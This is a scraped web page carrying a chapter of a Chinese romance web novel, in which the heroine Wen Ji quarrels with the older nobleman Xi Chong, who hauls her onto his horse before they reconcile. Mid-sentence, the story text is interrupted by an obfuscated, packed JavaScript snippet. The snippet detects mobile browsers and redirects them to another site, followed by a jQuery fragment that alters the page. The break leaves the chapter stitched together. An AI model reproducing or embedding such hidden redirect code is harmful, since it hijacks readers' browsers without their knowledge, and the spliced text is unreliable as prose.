112. 混乱
作品:《爱上万人迷他爹》 ……
温寂坐在车辕上,两条腿随着马车的颠簸轻轻晃荡,脚下是不断向后滚动的沙石尘土。
她穿着一身简单的素白衣裙,纤薄伶仃的挂着,遥遥望去,仿佛一阵稍大些的风就能将她从车辕上拂落。
她怎么会一个人出现在这里?
郗崇带着一队亲卫从外归来。远远便见前方那辆走得歪歪扭扭的马车,锐目微眯便认出了温寂。
眉心一凝,他当即一拉缰绳,身下矫健的黑色大马便加速赶了上去。
沉闷的马蹄声由远及近,将温寂从一种放空的状态突然拉回现实。
她抬眼,看到那张冷峻的面容时,眼睫微微一颤,随即迅速垂下眸子,若无其事的好似他不过是个寻常的过路人,而自己根本不认识他。
然而郗崇并未如她所愿擦肩而过。他控着马,直接贴近了她的车辕,身后训练有素的亲卫们也随之齐齐勒马,沉默地停在后方一段距离处,无形的将她包围了起来。
温寂还是勒停了马。
她没说话,郗崇驾马停在她旁边,他的马和人都是特别高大的那种,阴影笼罩下来,将温寂完全覆住,顿时就有了沉重的压迫感。
“你在这里做什么。”
郗崇开口,声音算不得温和。
温寂没有看他,盯着自己沾了些尘土的裙角,“出门。”
郗崇目光落在她侧坐在车辕的身子上,有些冷肃,“你一个女郎,这样驾着马太过危险,知不知道?”
若是从前,听他这样带着关切的责备,她心中或许会泛起一丝隐秘的开心,可是如今温寂却莫名的感受到了一种难以呼吸的逼仄。
她偏过头,望向远山沉默以对。
她情绪似乎不太对劲,郗崇察觉到了,他声音温和下来,缓声道,“要去哪里?我派人护送你过去。”
温寂依旧低着头,冷淡道,“不必劳烦大人,我自己可以。”
她罕见的显出一副油盐不进的倔强模样。看着她低垂的尖下颌,郗崇眸色暗了暗,他身处高位,向来只有旁人揣度他的心意,何曾懂得如何去哄一个无缘无故忽然闹别扭的女子?而温寂从前再是不愉,在他面前也显得乖觉。
他沉默了一下,开口道,“不让他们跟,我送你过去。”
这话听在温寂耳中,却像一味煎得过浓的苦药,非但没能安抚,反而让她心口的一股浊气冒了出来。
她抬起长睫,突然转过头,道,“我说了不用您送!”
郗崇在马背上微微俯身,手臂一伸,带着厚茧的手指便捏住了她的下颌,迫使她抬头看他。
“为什么?”他紧盯着她的眼睛,“给我一个理由。”
她看着他浓黑的眸子,突然心里冒出了一股火。她抓住他的手一把推开,
“你有什么资格管教我,我去哪里关你什么事?”
她突然而来的怒斥,让男人身上顿声出一股寒意,他沉声,“温寂!”
从温寂的角度看上去好像又有一种被他压制了的感觉。
她忽地将马鞭往地上一掷,手脚并用地在狭窄的车辕上站了起来,好像显得比郗崇还要高。
看着郗崇锋利沉肃的面容,她道,“你是不是真的把自己当我叔父了,可事实上,你对我而言也不过是个年纪大的男人,和我在街上碰到的所有男人又有什么不同?”
话音落地,四周一片死寂,空气都仿佛凝滞下来。
郗崇抬眼看她,眼中带上一丝阴鸷,第一次生出了一种这朵花早该自己亲手摘下关入笼中的冲动。
她怎么敢?!
他对郗绍都没有对她上心,不是为了有朝一日,听她说什么和任何一个男人没什么区别这样的话的!
他的眸光死死锁在她摇摇欲坠的身体上,声音即使克制也显得威压摄人,“下来,温寂,我们好好谈。”
温寂心中却如同开闸放水,一直压抑的情绪此时不管不顾的倾泻而出。
“有什么好谈的!”
血气冲上了头脑,一股扭曲的兴奋裹挟了她,看着他因盛怒而愈发显得威严冷硬的脸庞,恍然间竟与丞相震怒时令人窒息的面容重叠在了一起。
“你是男人,你是长辈,你是超一品的国公爷,你站在高处俯视我,看我不过是个玩闹的儿童,我的追求和感情都不过是你看喜欢的戏子演的一出闹剧。”
“你高高在上施舍些不值钱的玩意,而我却要卖乖作巧哄你开心,我们之间有任何需要交谈的必要吗?”
男人眼中是温寂从未见过的怒意,她甚至感觉下一瞬他会将她当场撕裂。
可她终于畅快了。
她其实特别特别恨他!
他的地位比她高让她不敢放肆,他用爱作鱼饵钓着她于是她也不能洒脱,她被他征服可却征服不了他。
可是如今她又有什么在乎!
郗崇高坐在马上,周身气压低得骇人。下一刻,他手上那根黑色的马鞭便骤然甩了出去。
温寂的心猛然一缩,下意识紧闭上双眼,绷紧身体,等待着鞭笞的剧痛降临。
“啊!”
预想中的疼痛并未落在身上,腰身却骤然一紧。那鞭身灵巧地缠住了她的腰肢,紧接着,一股巨大的拉扯力传来,她惊呼一声,整个人便被凌空卷起,重重的落进一个坚硬灼热的怀抱之中。
郗崇单臂接住了她,随即手臂一揽,将她牢牢横按在了马鞍之前。同时双腿一夹马腹,黑色马匹长嘶一声,便如同离弦之箭般窜了出去,将马车和原地待命的亲卫瞬间甩在身后。
“你干什么,你放我下来!”
温寂被迫趴伏在马背上,忍不住挣扎。可男人握着马鞭的手却牢牢掌住她腰肢塌陷的弧度,让她动弹不得。
“郗崇!你放我下来!”
温寂气极,背上那些未愈的鞭伤在剧烈的颠簸下更疼了,五脏六腑都仿佛被震得错了位。
“郗崇!”
男人垂眸看了她一眼,力道加重,大手更深的嵌入她腰间的软肉,同时猛地一抖缰绳,竟然又加快了马速。
疾驰带来的强风扑面,刮得她脸颊生疼,呛得她说话都不好开口。
“你放我下来…”
“郗崇!”
可无论她怎么喊他,他都不为所动。
一股无力感袭来,温寂声音渐渐低了下去,开始带
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17051355|186864||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
上了一丝颤抖。
挽发的一根玉簪终于承受不住颠簸,从发间坠落,在飞速掠过的坚硬路面上瞬间碎裂。
如瀑的长发散开,被疾风吹得狂舞,凌乱地覆住了她的面颊。
视线里黄沙滚滚而过,渐渐的,整个人精疲力尽,压抑着的怒气和别的情绪似乎都随着力气一起缓缓被泄了出去,疼痛与疲惫却终是袭来。
温寂不再挣扎,眼泪无声的从紧闭的眼角涌出,顺着眉骨滑落,没入马匹的鬃毛消失无踪。
……
强装的怒气泄干后,理智与无尽的茫然也回了笼。
腰间是他手臂硬朗的触感,背上是火辣辣的疼痛。她想,她终究是把对她最好的一个人也得罪了。
……
不知过了多久,疾驰的速度渐渐缓了下来。最终,马儿停在一处僻静的山坡上。远处层峦叠嶂,四周空旷无人,空气中也只剩青草的芬芳。
温寂如同被抽干了所有力气,像个死尸一样软软地伏在马前。
郗崇却松开紧握缰绳的手,将她捞了起来,调整姿势让她侧坐在自己身前,伏靠进了他的怀里。
然后他缓缓调转了马头,朝着来路行去。
温热的大掌抚上了她乌黑柔顺的发丝,从后脑缓缓下落到纤细的脖颈,一下一下轻抚着。
男人的盛怒并没有变成实质的惩罚。
发上的触感厚重而温柔,温寂脸颊贴着男人的胸口,他的怀抱太过宽阔安稳,就仿佛天生就应该是她的巢穴。
或许郗崇早就意识到了,她喜欢他抱着她,喜欢他摸她的发顶,他除了不能吻她,却什么都做了。
她在强求什么呢?
或许她其实也并不需要爱,如果她真的只是渴望被爱,那她为什么不能拯救贺彦修,为什么不能在郗绍可能会喜欢上她的时候“改邪归正”?
又为什么明明知道推温棋语落水会让自己良心受尽煎熬,却仍然选择了去做?
她的行为处处矛盾,却把执念,野心,贪婪与不甘,通通都包裹上一层渴求爱的糖衣。
也许丞相说得对,她是天生不该被真心以待的人。
温寂将脸更深地埋进他的衣襟,嘴唇无声地贴在他心脏搏动的位置。
她还是放过他吧。
“对不起。”
怀中传来闷闷的,带着鼻音的三个字。
郗崇低垂的眼眸落在她的身上,他没有说话,将她的身体贴紧了一分。
……
嘚嘚的马蹄声重新靠近官道。
郗崇的亲卫们依旧肃立在原地等候,那辆马车孤零零停在路边,拉车的马儿正悠闲地低头啃食着青草。
郗崇勒马,温寂从他怀里退了出来,整个人已经是狼狈不堪,却没有了一开始的尖锐。
“你要去哪里?”郗崇低头问她。
温寂垂着眼,低声回答,“青州。我去寻兄长。”
“您派人送我吧。”温寂道。
“嗯。”
郗崇忽然伸出手,轻轻摸了摸她的面颊。
“路上注意安全。”他声音低沉,“你的马儿还在国公府里,等着你回来看它。”

